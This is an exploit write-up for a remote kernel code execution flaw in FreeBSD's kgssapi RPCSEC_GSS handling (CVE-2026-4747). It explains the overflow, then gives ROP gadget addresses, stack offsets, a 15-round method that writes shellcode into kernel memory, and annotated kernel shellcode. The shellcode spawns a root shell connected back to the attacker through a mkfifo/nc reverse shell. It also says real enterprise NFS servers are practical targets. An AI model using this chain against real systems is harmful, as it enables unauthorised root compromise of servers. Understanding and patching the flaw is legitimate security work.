CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS Stack Buffer Overflow

Full Remote Kernel RCE → uid 0 Reverse Shell

Advisory: FreeBSD-SA-26:08.rpcsec_gss CVE: CVE-2026-4747 Affected: FreeBSD 13.5 (

1. The Vulnerability

Root Cause

In sys/rpc/rpcsec_gss/svc_rpcsec_gss.c, the function svc_rpc_gss_validate() reconstructs an RPC header into a 128-byte stack buffer (rpchdr[]) for GSS-API signature verification. It first writes 32 bytes of fixed RPC header fields, then copies the entire RPCSEC_GSS credential body (oa_length bytes) into the remaining space — without checking that oa_length fits.

memset(rpchdr, 0, sizeof(rpchdr));

// Write 8 fixed-size RPC header fields (32 bytes total) buf = rpchdr; IXDR_PUT_LONG(buf, msg->rm_xid); IXDR_PUT_ENUM(buf, msg->rm_direction); IXDR_PUT_LONG(buf, msg->rm_call.cb_rpcvers); IXDR_PUT_LONG(buf, msg->rm_call.cb_prog); IXDR_PUT_LONG(buf, msg->rm_call.cb_vers); IXDR_PUT_LONG(buf, msg->rm_call.cb_proc); oa = &msg->rm_call.cb_cred; IXDR_PUT_ENUM(buf, oa->oa_flavor); IXDR_PUT_LONG(buf, oa->oa_length);

if (oa->oa_length) { // BUG: No bounds check on oa_length! // After 32 bytes of header, only 96 bytes remain in rpchdr. // If oa_length > 96, this overflows past rpchdr into: // local variables → saved callee-saved registers → return address memcpy((caddr_t)buf, oa->oa_base, oa->oa_length); buf += RNDUP(oa->oa_length) / sizeof(int32_t); }

// gss_verify_mic() called after — but overflow already happened }`

The buffer has only 128 - 32 = 96 bytes of space for the credential body. Any credential larger than 96 bytes overflows the stack buffer.

The Fix (14.4-RELEASE-p1)

The patch adds a single bounds check before the copy:

Overflow Geometry

From the function's prologue disassembly (objdump -d kgssapi.ko):

The rpchdr array is at [rbp-0xc0] (192 bytes below rbp). The memcpy writes to rpchdr + 32 = [rbp-0xa0]. The saved registers and return address are above rpchdr on the stack:

However, these are the offsets for a credential body that starts immediately. In practice, the credential body begins with a GSS header (version, procedure, sequence, service) plus a context handle. With a 16-byte handle, the actual offsets shift by 32 bytes — the return address lands at credential body byte 200 (verified via De Bruijn pattern analysis from the remote exploit).

Reaching the Vulnerable Code

Why NFS? The vulnerable module kgssapi.ko implements RPCSEC_GSS authentication for the kernel's RPC subsystem. NFS is the primary (and typically only) in-kernel RPC service that uses RPCSEC_GSS. The NFS server daemon (nfsd) listens on port 2049/TCP and processes RPC packets in kernel context — making this a remote kernel code execution vulnerability reachable over the network.

Why Kerberos? The overflow is deep inside the GSS validation code path. svc_rpc_gss_validate() is only called when:

• The RPC packet uses RPCSEC_GSS authentication (flavor = 6)

• The GSS procedure is DATA (not INIT or DESTROY)

• The server finds a valid client entry matching the context handle

• A replay sequence check passes

Without a valid GSS context, the server rejects the packet at step 3 (returning AUTH_REJECTEDCRED) and the vulnerable memcpy is never reached. Creating a valid GSS context requires a successful Kerberos handshake — the attacker must possess a valid Kerberos ticket for the NFS service principal.

In a real-world attack, the target would be an enterprise NFS server with existing Kerberos infrastructure (Active Directory, FreeIPA, etc.). Any user with a valid Kerberos ticket — even an unprivileged one — can trigger the vulnerability. The test lab includes its own KDC because there is no pre-existing Kerberos environment.

The XDR layer enforces MAX_AUTH_BYTES = 400 on the credential body, giving an overflow range of 97–400 bytes (1–304 bytes past the safe limit).

2. Target Setup

Requirements

Target VM:

• FreeBSD 14.4-RELEASE amd64 (any hypervisor: QEMU, VMware, VirtualBox, bhyve, bare metal)

• NFS server enabled with kgssapi.ko loaded

• MIT Kerberos KDC (for RPCSEC_GSS authentication)

Attacker host (Linux):

• Python 3 with gssapi module (apt install python3-gssapi)

• MIT Kerberos client (apt install krb5-user)

• Network access to the target's NFS port (2049/TCP) and KDC port (88/TCP)

Option A: QEMU Setup (cloud-init, automated)

Cloud-init auto-configuration

cat > user-data << 'EOF' #cloud-config chpasswd: list: | root:freebsd expire: False ssh_pwauth: True bootcmd:

• rm -f /firstboot # prevent auto-patching to -p1
• rm -f /var/db/freebsd-update/* runcmd:
• echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config
• service sshd restart
• kldload kgssapi
• sysrc rpcbind_enable=YES nfs_server_enable=YES
• echo '/export -network 0.0.0.0/0' > /etc/exports
• mkdir -p /export
• service rpcbind start && service nfsd start EOF cat > meta-data << 'EOF' instance-id: cve-test local-hostname: freebsd-vuln EOF genisoimage -output seed.iso -volid cidata -joliet -rock user-data meta-data*

Boot VM — forward SSH (22), NFS (2049), and KDC (88) ports

qemu-system-x86_64 -enable-kvm -cpu host -m 2G -smp 2
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio
-cdrom seed.iso
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88
-device virtio-net-pci,netdev=net0 -nographic`

The KDC port (88) is forwarded to host port 8888 directly — no SSH tunnel required.

Option B: VMware / VirtualBox / bhyve Setup (manual, any hypervisor)

For VMware Workstation, ESXi, Fusion, VirtualBox, or bhyve. In this example the VM hostname is test.

• Download the installer ISO (not the cloud-init image):

• Create a VM with:

2 CPUs (2 sockets × 1 core, or 1 socket × 2 cores), 2GB RAM, 8GB disk IMPORTANT: FreeBSD spawns 8 NFS threads per CPU. The exploit kills one thread per round and needs 15 rounds, so you need at least 2 CPUs (= 16 threads). With 1 CPU (8 threads) the exploit fails around round 9. Network: bridged or NAT (the attacker needs to reach ports 22, 88, 2049) Attach the ISO and install FreeBSD normally Set hostname to test during install (or change later)

• After installation, log in as root and run the following. Replace test with your actual hostname if different (check with hostname):

2. Create krb5.conf

cat > /etc/krb5.conf << 'EOF' [libdefaults] default_realm = TEST.LOCAL [realms] TEST.LOCAL = { kdc = 127.0.0.1 admin_server = 127.0.0.1 } EOF

3. Create KDC database

/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL

4. Create Kerberos principals (replace "test" with your hostname)

/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]" /usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]" /usr/local/sbin/kadmin.local -q "addprinc -randkey host/[email protected]" /usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]" /usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab host/[email protected]"

5. Start KDC

/usr/local/sbin/krb5kdc

6. Configure NFS export

mkdir -p /export echo '/export -network 0.0.0.0/0' > /etc/exports

7. Enable services in rc.conf

sysrc rpcbind_enable=YES sysrc nfs_server_enable=YES sysrc nfsv4_server_enable=YES sysrc nfsuserd_enable=YES sysrc gssd_enable=YES sysrc mountd_enable=YES sysrc nfs_server_flags="-u -t"

8. Start services

service rpcbind start service nfsuserd start service gssd start service mountd start service nfsd start

9. Verify

sysctl vfs.nfsd.threads # should show 16 (with 2 CPUs) sockstat -l | grep 2049 # MUST show tcp4 and tcp6 lines (not just udp) kldstat | grep gss # should show kgssapi.ko and kgssapi_krb5.ko echo 'password' | kinit [email protected] && klist`

• After each reboot, the only manual step is starting the KDC (everything else auto-starts from rc.conf):

/usr/local/sbin/krb5kdc

Verify

sysctl vfs.nfsd.threads # should show 16 (with 2 CPUs) sockstat -l | grep 2049 # must show tcp4/tcp6 lines`

With bridged networking, the attacker connects directly to the VM's IP on ports 88, 2049. No port forwarding needed.

With NAT, configure port forwarding in the hypervisor:

• VMware: Edit → Virtual Network Editor → NAT Settings → Add (host 2049 → guest 2049, host 8888 → guest 88)

• VirtualBox: Settings → Network → Advanced → Port Forwarding (same mappings)

Kerberos Setup (on the VM)

Kerberos setup is now included in Option B Step 2 above. If you used Option A (QEMU cloud-init), the Kerberos setup is the same — just SSH in and run the Step 2 commands.

Key points:

• The NFS service principal must match the VM hostname exactly: nfs/[email protected] (for hostname test)

• krb5.conf must exist BEFORE running kadmin.local or kdb5_util

• The KDC (/usr/local/sbin/krb5kdc) must be started manually — it does not auto-start on boot unless you add it to /etc/rc.local

Host Setup (attacker machine — Linux)

Both machines need Kerberos configuration, but for different reasons:

Machine Why it needs Kerberos What it runs

FreeBSD VM (target) Runs the KDC + accepts GSS-authenticated NFS requests KDC, gssd, nfsd

Attacker host (Linux) Needs to obtain tickets from the VM's KDC and send GSS tokens kinit, python3 exploit

Step 1: Install system packages

When the installer asks:

Default realm: TEST.LOCAL

KDC hostnames: (leave blank, press Enter)

Admin server: (leave blank, press Enter)

These don't matter — we override them in /etc/krb5.conf below.

Fedora/RHEL

sudo dnf install krb5-workstation krb5-devel python3-gssapi`

Step 2: Install Python dependency

pip install gssapi

Step 3: Create /etc/krb5.conf on the attacker host

This tells kinit and the Python gssapi module where to find the KDC (which runs on the FreeBSD VM):

# Replace VM_IP with your FreeBSD VM's actual IP address

Replace KDC_PORT with 88 (bridged) or 8888 (if using NAT port forwarding)

sudo tee /etc/krb5.conf << EOF [libdefaults] default_realm = TEST.LOCAL rdns = false # CRITICAL: prevent reverse DNS lookup dns_canonicalize_hostname = false # CRITICAL: prevent hostname canonicalization [realms] TEST.LOCAL = { kdc = VM_IP:KDC_PORT } EOF`

The rdns = false and dns_canonicalize_hostname = false settings are critical. Without them, MIT Kerberos performs reverse DNS on the target IP, producing a ticket for nfs/[email protected] instead of nfs/[email protected]. The server rejects the mismatched principal with KRB5KRB_AP_WRONG_PRINC.

Step 4: Add hostname resolution

The hostname in /etc/hosts must match the NFS service principal created on the VM (nfs/[email protected]):

Step 5: Get a Kerberos ticket

If kinit fails with "unable to reach KDC": the VM's KDC isn't running (/usr/local/sbin/krb5kdc on the VM) or the port isn't reachable (check firewall / port forwarding).

If kinit fails with "password incorrect": the password doesn't match what was set with kadmin.local on the VM.

Step 6: (Optional) Install ROPgadget

Only needed if you're targeting a different FreeBSD version and need to find new gadget addresses:

pip install ROPgadget

Example configurations:

Setup VM_IP KDC_PORT /etc/hosts entry

QEMU user-mode NAT 127.0.0.1 8888 127.0.0.1 test

VMware bridged (VM at 192.168.1.100) 192.168.1.100 88 192.168.1.100 test

VirtualBox NAT with port forward 127.0.0.1 8888 127.0.0.1 test

3. Exploitation

Strategy Overview

The exploit achieves remote kernel code execution through a multi-round overflow attack. Each round:

• Establishes a fresh Kerberos GSS context with the NFS server

• Sends an RPCSEC_GSS DATA packet with an oversized credential body

• The overflow overwrites the return address with a ROP gadget

• The ROP chain either writes data to kernel memory or jumps to shellcode

• kthread_exit() cleanly terminates the NFS worker thread (no panic)

Since the 400-byte credential limit allows only ~200 bytes of ROP chain per round, the 432-byte shellcode is delivered across 15 rounds: 1 round makes kernel BSS executable, 13 rounds write the shellcode 32 bytes at a time, and the final round writes the last 16 bytes and jumps to the shellcode entry point.

Each round kills one NFS worker thread via kthread_exit(). The exploit needs 15 rounds. FreeBSD spawns 8 NFS threads per CPU, so the VM needs at least 2 CPUs (= 16 threads). With 1 CPU (8 threads), the exploit fails around round 9 with "GSS context failed".

Stack Layout (Verified via De Bruijn Pattern)

The credential body includes a variable-length GSS header before the overflow data. With a 16-byte context handle, the actual register offsets (determined by sending a De Bruijn cyclic pattern and reading the crash dump) are:

The initial assumption of RIP at byte 168 was wrong by 32 bytes — the 16-byte GSS handle + XDR alignment shifted everything. This was discovered by sending a De Bruijn pattern from the remote host and reading the crash register values.

ROP Gadgets

Found via ROPgadget (pip3 install ROPgadget && ROPgadget --binary /boot/kernel/kernel):

Gadget Address Purpose

pop rdi; ret K+0x1adcda Set first argument register

pop rsi; ret K+0x1cdf98 Set second argument

pop rdx; ret K+0x5fa429 Set third argument

pop rax; ret K+0x400cb4 Set rax (for write value or call target)

mov [rdi], rax; ret 0xffffffff80e3457c 8-byte arbitrary kernel write

Where K = 0xffffffff80200000 (kernel base, fixed — no KASLR on FreeBSD 14.x).

The mov [rdi], rax; ret gadget is the workhorse: it writes 8 bytes of attacker-controlled data to any writable kernel address. Combined with pop rdi and pop rax, each 8-byte write costs 40 bytes of ROP chain (5 qwords).

Round 1: Make BSS Executable

The shellcode must be placed somewhere that is both writable (so we can write to it) and executable (so the CPU can run it). Kernel BSS is writable but not executable (W^X enforcement). Round 1 uses pmap_change_prot() to add execute permission:

After this round, the BSS region 0xffffffff8198a000 – 0xffffffff8198bfff is read-write-execute.

Rounds 2–14: Write Shellcode to BSS

Each round writes 4 qwords (32 bytes) of shellcode to sequential BSS addresses:

The shellcode is 432 bytes (425 + padding). Across 13 rounds writing 32 bytes each = 416 bytes, plus the final round's 16 bytes = 432 total.

Round 15: Final Write + Jump to Shellcode

The last round writes the remaining 2 qwords and replaces kthread_exit with a jump to the shellcode entry:

The saved register area (cred bytes 152–199) preloads KPROC_CREATE into RBX for the shellcode's use.

GSS Context Establishment

Each round needs a fresh GSS context (the previous thread was killed). The exploit uses Python's gssapi module:

The kerberos_principal name type is critical — using hostbased_service causes MIT Kerberos to canonicalize the hostname via reverse DNS, producing nfs/[email protected] instead of the correct nfs/[email protected]. The server rejects the mismatched principal with KRB5KRB_AP_WRONG_PRINC.

4. The Shellcode

Overview

The shellcode runs in kernel mode at CPL 0. Its job is to spawn a new process as root that runs a reverse shell command. It cannot simply call execve() from the NFS thread because NFS worker threads are kernel threads without the proper user-mode trapframe needed for the kernel→userland transition.

Instead, the shellcode uses a two-phase approach:

• Entry function (runs on the hijacked NFS thread): creates a new kernel process, then exits

• Worker function (runs in the new process): transforms the process into /bin/sh via kern_execve(), then transitions to userland

Entry Function (Offset 0–79)

Bytes 13–35: Set up kproc_create arguments lea rdi, [rip + worker_fn] ; arg1: function pointer to the worker xor esi, esi ; arg2: argument = NULL xor edx, edx ; arg3: procp = NULL (don't need proc pointer) xor ecx, ecx ; arg4: flags = 0 xor r8d, r8d ; arg5: pages = 0 (default stack) mov r9, <"/bin/sh" addr> ; arg6: process name (fmt string for vsnprintf)

Bytes 36–42: Clear debug registers + call kproc_create xor eax, eax ; rax = 0 mov dr7, rax ; clear hardware breakpoint control register ; (prevents inherited DR breakpoints from crashing the child) call rbx ; rbx was preloaded with kproc_create address ; by the overflow's saved register area

Bytes 43–47: NOP padding (was ha_handler cleanup, NOP'd out)

Bytes 67–78: Exit the NFS thread mov rax, kthread_exit ; absolute address of kthread_exit() call rax ; cleanly terminates this kernel thread ; the NFS server continues with remaining threads Byte 79: CC (int3, unreachable — kthread_exit never returns)`

Why kproc_create? The NFS worker thread is a pure kernel thread — it has no user address space (vmspace), no trapframe, and no way to transition to user mode. kproc_create() calls fork1() internally, which creates a brand new process with its own struct proc, struct thread, vmspace, and trapframe — everything needed for kern_execve() to later replace it with a userland program.

Why clear DR7? The child process inherits the parent thread's debug register state. If the kernel previously entered DDB (the kernel debugger) during a panic, hardware breakpoints may remain set in DR0–DR3/DR7. These cause trap 1 (debug exception) when the child hits a watched address. Clearing DR7 (the control register) disables all hardware breakpoints.

Why call rbx? The kproc_create address is a 64-bit kernel pointer that would cost 10 bytes to encode as mov rax, imm64; call rax. Since the overflow's saved register area preloads KPROC_CREATE into RBX (credential byte 152), the entry can use call rbx (2 bytes). This saves 10 bytes of shellcode — critical given the tight budget.

Worker Function (Offset 80–380)

The worker runs via fork_exit() — the kernel's post-fork callback mechanism. fork_exit sets rbx = curthread (the new thread pointer), which the worker MUST preserve for fork_exit's cleanup after the callback returns.

Bytes 92–105: Zero the image_args struct lea rdi, [rbp - 0x80] ; image_args at rbp-128 xor eax, eax ; zero fill value mov ecx, 16 ; 16 qwords = 128 bytes rep stosq ; memset(&args, 0, 128) ; image_args must be zeroed — uninitialized fields cause exec to fail

Bytes 106–112: Allocate argument buffer lea rdi, [rbp - 0x80] ; &args push rdi ; save args pointer for later calls mov rax, exec_alloc_args ; kernel function: allocates page for argv/envp call rax

Bytes 113–141: Set executable path pop rdi; push rdi ; rdi = &args (restore from stack, keep saved) mov rsi, <"/bin/sh" addr> ; path string (absolute address in BSS) mov edx, 1 ; UIO_SYSSPACE: string is in kernel memory mov rax, exec_args_add_fname call rax ; adds "/bin/sh" as the executable path

Bytes 142–170: Add "-c" argument pop rdi; push rdi mov rsi, <"-c" addr> mov edx, 1 mov rax, exec_args_add_arg call rax ; argv[1] = "-c"

Bytes 171–198: Add reverse shell command pop rdi mov rsi, ; "mkfifo /tmp/f;sh/tmp/f" mov edx, 1 mov rax, exec_args_add_arg call rax ; argv[2] = the reverse shell command

Bytes 199–227: Call kern_execve mov rdi, gs:[0] ; curthread (from per-CPU segment register) mov rax, [rdi + 0x08] ; rax = curthread->td_proc mov rcx, [rax + 0x208] ; rcx = proc->p_vmspace (needed as 4th arg) lea rsi, [rbp - 0x80] ; rsi = &args xor edx, edx ; rdx = NULL (no MAC label) mov rax, kern_execve call rax ; kern_execve(curthread, &args, NULL, oldvmspace) ; Returns EJUSTRETURN (-2) on success: the process is now /bin/sh ; The thread's trapframe has been set up with: ; RIP = ELF entry point of /bin/sh ; RSP = user stack pointer ; CS/SS = user-mode segments

Bytes 228–249: Clear P_KPROC and return mov rdi, gs:[0] ; curthread mov rax, [rdi + 0x08] ; proc and byte [rax + 0xb8], 0xfb ; clear P_KPROC bit in proc->p_flag pop rbx ; restore rbx (curthread, for fork_exit) leave ; restore rbp, rsp ret ; return to fork_exit`

Why clear P_KPROC? After kern_execve() succeeds, the process is structurally a user process (it has a user vmspace and trapframe). But it still has the P_KPROC flag set from kproc_create(). This flag tells fork_exit() to call kthread_exit() after the callback returns — which would kill the process before it enters userland. Clearing bit 0x04 at proc->p_flag (offset 0xb8) makes fork_exit() take the normal userret path instead.

The return path: After the worker returns, fork_exit() continues:

• userret(td) — processes pending signals, sets user segments

• doreti / iretq — pops the trapframe: sets RIP to /bin/sh entry, RSP to user stack, CS/SS to user mode

• /bin/sh executes in userland as uid 0 (root)

• The shell command creates a fifo, spawns an interactive shell connected via nc back to the attacker

String Data (Offset 381–425)

The reverse shell command uses the mkfifo approach because FreeBSD's nc does not support the -e (exec) flag. The fifo /tmp/f acts as a bidirectional pipe: sh reads commands from it, nc sends output to the attacker and receives commands back into the fifo.

5. Challenges Encountered

Register Offset Mismatch

The initial assumption was that saved RBX starts at credential byte 120 and RIP at byte 168 (based on the disassembly of svc_rpc_gss_validate). In practice, the GSS credential header — which includes a 16-byte context handle with XDR padding — shifts the overflow data by 32 bytes. The real RIP offset is byte 200. This was discovered by sending a De Bruijn cyclic pattern and reading the faulting register values from the kernel panic dump.

MIT ↔ Heimdal GSS Token Incompatibility

FreeBSD's gssd daemon uses Heimdal's GSS-API library, while the attacker's host uses MIT Kerberos. The initial GSS context establishment returned GSS_S_DEFECTIVE_TOKEN (0xd0000) because MIT's gssapi module canonicalized the hostname: freebsd-vuln → DNS → 127.0.0.1 → reverse DNS → localhost, producing a ticket for nfs/[email protected] instead of nfs/[email protected]. Fixed with rdns = false and dns_canonicalize_hostname = false in /etc/krb5.conf, plus using gssapi.NameType.kerberos_principal instead of hostbased_service.

Hardware Debug Register Inheritance (Trap 1)

After the shellcode was executing correctly (process names appeared in ps), the worker function consistently crashed with trap 1 (debug exception) at a valid mov instruction. The cause: kproc_create() copies the parent thread's PCB (including debug registers DR0–DR7) to the child. Previous kernel panics had triggered DDB (the kernel debugger), which sets hardware breakpoints that persist in the NFS thread's DR registers. The fix: clear DR7 in the entry shellcode before calling kproc_create(), so the child inherits a clean debug register state.

Shellcode Delivery Across 400-Byte Limit

The 432-byte shellcode cannot fit in a single 400-byte credential (after subtracting 200 bytes of GSS header + padding + registers + ROP chain). Early attempts used rep movsq to bulk-copy shellcode from the stack, but the only available push rsp; pop rsi gadget has a side effect (or cl, [rax-1]) that corrupts the repeat count, and the copy produces 72 bytes of "junk" (ROP chain entries) before the actual data.

The working approach uses the simpler pop rdi + pop rax + mov [rdi], rax primitive: each 8-byte write costs 40 bytes of ROP chain but has no side effects or junk. Four writes per round × 13 rounds = 52 writes = 416 bytes, plus the final round's 2 writes = 432 bytes total. This is slower (15 rounds vs. the theoretical 2–3 with rep movsq) but reliable.

NFS Thread Exhaustion

Each overflow round kills one NFS worker thread via kthread_exit(). The exploit needs 15 rounds, and GSS context establishment also temporarily occupies a thread. FreeBSD's nfsd spawns 8 threads per CPU by default. With 1 CPU (8 threads), the exploit fails around round 9 with "GSS context failed" — all threads have been consumed. With 2 CPUs (16 threads), there is enough headroom for all 15 rounds. The VM must have at least 2 CPUs. In a real-world attack against a production NFS server, thread counts are typically higher (16-64 across multiple CPUs), so this is not a practical limitation.

6. Exploit Summary

Total packets: 15 RPCSEC_GSS overflow packets Total time: ~45 seconds (15 rounds × ~3 seconds each) Result: Interactive uid 0 reverse shell